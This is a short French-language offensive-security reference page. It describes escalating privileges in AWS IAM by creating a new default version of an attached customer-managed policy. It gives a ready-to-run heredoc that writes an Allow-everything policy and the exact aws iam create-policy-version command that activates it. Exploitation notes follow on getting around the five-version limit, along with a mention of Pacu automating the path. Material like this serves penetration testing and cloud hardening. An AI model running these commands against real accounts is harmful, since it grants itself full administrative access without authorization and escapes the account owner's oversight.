Une politique managée conserve jusqu'à cinq versions, dont une marquée par défaut. iam:CreatePolicyVersion avec --set-as-default publie une nouvelle version et l'active en un seul appel : si vous pouvez modifier une politique managée déjà attachée à votre principal, vous la réécrivez donc pour tout autoriser.
Accorder un accès complet#
cat > admin.json <<'EOF'
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}
EOF
aws iam create-policy-version \
--policy-arn arn:aws:iam::<acct>:policy/<attached-policy> \
--policy-document file://admin.json --set-as-default
Votre principal détient désormais *:* parce que la politique modifiée lui est attachée.
Notes d'exploitation#
- Visez une politique managée par le client déjà attachée à vous ; les politiques managées par AWS ne peuvent pas être modifiées.
- Si cinq versions existent déjà, supprimez-en d'abord une qui n'est pas par défaut (
delete-policy-version), puis créez. SetAsDefaultest le drapeau clé : sans lui, la version permissive existe mais reste inactive, ce qui correspond au cas SetDefaultPolicyVersion.
Outils#
- AWS CLI (
iam create-policy-version). - Pacu (
iam__privesc_scan) : détecte et exécute cette voie.